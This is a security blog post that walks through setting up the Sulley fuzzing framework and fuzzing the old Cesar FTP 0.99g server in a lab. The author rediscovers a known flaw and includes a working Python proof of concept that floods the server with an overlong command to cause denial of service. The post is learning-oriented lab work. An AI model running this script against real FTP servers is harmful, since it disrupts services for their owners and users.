0-day? More like 4260-day!

TL;DR

As the title suggests there are no zero days disclosed here. This blog post is a narrative of my first encounters setting up and running the Sulley Fuzzing Framework. I rediscovered a very old bug in a very old and unsupported piece of software, but learned a lot along the way!

INTRO

I wanted to learn the Sulley Fuzzing Framework. I read Fuzzing: Brute Force Vulnerability a few years ago, and I ended up doing some simple file type and ActiveX fuzzing, but I never took the time to learn the fuzzing framework discussed in the book. I finally decided to set some time aside to learn the fuzzing framework and audit something.

Sulley Fuzzing Framework: Sulley is a fully featured fuzzing framework, complete with networking monitoring, process monitoring and post-mortem analysis tools to determine exploitability. It is named after the fuzzy monster in Monsters, Inc.

PICKING THE TARGET

So what to attack first? I wanted to fuzz something with a protocol I knew, so I was thinking a server that did SSH, FTP, POP, SMTP, NTP or something like that (no protocol reverse engineering my first time around). I ended up picking a really old FTP server that hasn't been supported for a long time named Cesar FTP 0.99g. I figured given its age it would be a juicy target (and I was right). Plus I didn't want to have to deal with pesky DEP/ASLR measures during my first round with exploit development using a new tool.

Of course my first instinct was to search Exploit-DB or PacketStorm for known vulnerabilities, but I stopped myself. I didn't want to bias my first experience with Sulley. The goal was to learn Sulley, not to do a targeted exploit recreation.

SETTING UP SULLEY

I installed Cesar FTP 0.99g on a Windows XP VM running on a Windows 10 host. Given how long ago I read the book and the age of the framework I figured setting up Sulley on a Windows 10 host was going to be an uphill battle of broken and missing dependencies and incompatibility issues. I was wrong.

I found the guide to setting up Sulley on Windows extremly useful. The only problem I ran into was I was using a 64-bit version of Python, which made MinGW 32-bit angry. After switching to a 32-bit version of Python 2.7.8 I had zero issues setting up. The best part is that now that everything is built I can just re-deploy the Sulley build to new VMs. I will probably end up creating a VM on Amazon EC2, but that is for another blog post.

My next step was to get an FTP grammar for Sulley. I figured why reinvent the wheel, right? Sure I could painstakingly go through the process of recreating the FTP grammar, but I'm sure someone has already created a something better than I would rush through. Plus I will have plenty of time to familiarize myself with writing Sulley grammar blocks and groups when I fuzz my next target that uses a custom network protocol.

I found an old Google code page here that contained what I was looking for.

RUNNING SULLEY

Ok, so I had my target VM and server set up. I also had Sulley built on my host and on my target VM running on that host. My next step was to configure the Python script that would handle my requests and store session information. From ftpfuzz.zip I copied and renamed file ftpfuzz\ftpfuzz\sulley\ftp.py into my Sulley build folder as C:\sulley_build\sulley\cesar_ftp.py

The only changes to cesar_ftp.py required were for defining my targets. Sulley has a few agents that it uses to help you out. The first is a network monitoring agent that chops up all the network traffic of your test cases into pcaps, making reviewing results later a breeze. The other agent is a process monitor that watches for crashes and restarts your target if a crash is detected.

The agents can really be run anywhere. In my configuration I decided to run the network monitor on my Windows 10 host and the process monitor on the target Windows XP VM. My Windows 10 host's VMWare adapter IP was 192.168.56.101 and my target VM's IP was 192.168.56.104. The FTP server was running on the default port 21.
I ended up with the following configuration at the end of cesar_ftp.py:

#######################################################################
""" Define the target to fuzz. """
target         = sessions.target("192.168.56.104", 21)
target.netmon  = pedrpc.client("192.168.56.101", 26001)
target.procmon = pedrpc.client("192.168.56.104", 26002)
target.procmon_options =  {
    "proc_name"      : "CesarFTP.exe",
    "stop_commands"  : ['wmic process where (name="CesarFTP.exe") delete'],
    "start_commands" : ['C:\\Program Files\\CesarFTP\\CesarFTP.exe'],
}
# target.vmcontrol = pedrpc.client("127.0.0.1", 26003)

""" grab the banner from the server """
s.pre_send = banner

""" start fuzzing - define target and data """
s.add_target(target)
s.fuzz()

The full cesar_ftp.py script has been posted to my GitHub here.
The only thing left to do was to start up the process monitor on the target Windows XP VM. The -c option is where to store crash dumps and -p is the process name to monitor (other settings like how to restart are communicated to the process through the framework from the cesar_ftp.py fuzzing script):

cd C:\sulley_build\sulley\
python process_monitor.py -c "C:\sulley_build\sulley\audits\CesarFTP.crash" -p "CesarFTP.exe"

Then fire up the network monitor on the Windows 10 host. The -d option tells it which interface to listen on, -f applies a filter to the network capture (useful for keeping pcaps clean), -P is where to save pcaps to, and -l is our logging verbosity level 1 through 5:

cd C:\sulley_build\sulley\
python network_monitor.py #check interfaces, using d 1 for VMWare Host Only iface
python network_monitor.py -d 1 -f "src or dst port 21" -P C:\sulley_build\sulley\audits\ -l 1

And finally start the fuzzing script on the Windows 10 host:

cd C:\sulley_build\sulley\
python cesar_ftp.py

THE FLAW (THE FIRST ANYWAY...)

After running for about a minute Sulley got hung up. It kept repeating test case 58. The Network Monitor agent was stuck in a loop:

151016_netmon_spinning.png

On top of that the FTP server's connection queue was backing up:

20151016_cesar_vm.png

And the cesar_ftp.py session was repeatedly restarting:

20151016_sulleyscripthung.png

The weird thing was there was no process crash.. Something was clearly wrong, but not a typical crash scenario. It was time to dig in.

Luckily Sulley makes this super easy. In my C:\sulley_build\sulley\audits\ folder I found a neat set of pcaps containing all the network traffic of the test cases that had been run. After killing sulley I opened up the test case 58.pcap:

58.png

So the connection to the FTP server was being blocked/reset. What happened right before, during test case 57?

57.png

Time to recreate this in Python (fracking love Python). Despite the use of the USER command in 57.pcap it turns out the issue will happen with any overly long command sent to the server. I came up with the following script:

#!/usr/bin/python
import socket

def do_connect():

    # ftp_user = 'USER '+'/\\'*2045 ##MIN SIZE TO CAUSE RESOURCE ISSUE
    # ftp_user = 'USER '+'/\\'*32764 ##MAX SIZE ALLOWED BEFORE INPUT IS REJECTED
    # print 'USER is going to be:\n'+ftp_user
    #USER command is irrelevant
    ftp_user = 'A'*4095 ##MIN SIZE TO CAUSE RESOURCE ISSUE

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:
        print 'Connecting'
        s.connect(('192.168.56.104',21))
        data = s.recv(1024)
        print data

        print '\nSending long username...'
        s.send(ftp_user+'\r\n')
        data = s.recv(1024)
        print data

        # Execution never actually makes it here...
        s.send('PASS superfuzzy\r\n')
        data = s.recv(1024)
        print data
        s.close()
        print 'fin.'

    except:
        print 'Oops! Something broke :('
        s.close()

if __name__ == '__main__':
    do_connect()

The full set of scripts I ended up creating can be found here. The above is taken from cesar_remoteDOS.py, which also contains a detailed explanation of the vulnerability. The batch script and other Python script are for actually exhausting memory resources on the target VM using the vulnerability. Running the batch script will block all future connections until either A) the batch script is killed and clients disconnect or B) the server is restarted.

Unfortunately none of these lead to any interesting crashes as far as I could tell.

NEXT STEPS

Cool! Not nearly as cool as RCE, but it's something!
Finally I searched Exploit-DB and confirmed that what I found had already been discovered long long ago. This same issue has been reported here and here. I will say that my script contains many more details that those original advisories don't :)

Reviewing the Exploit-DB results it looks like there are a few more vulnerabilities to be rediscovered. Should make for a fun weekend!

OTHER RESOURCES

Here are some excellent resources on Sulley that helped me out:

Edit 11/15/15: Cleaned up syntax issue on code snippet
Edit 11/7/2016: Updated gist links to new github username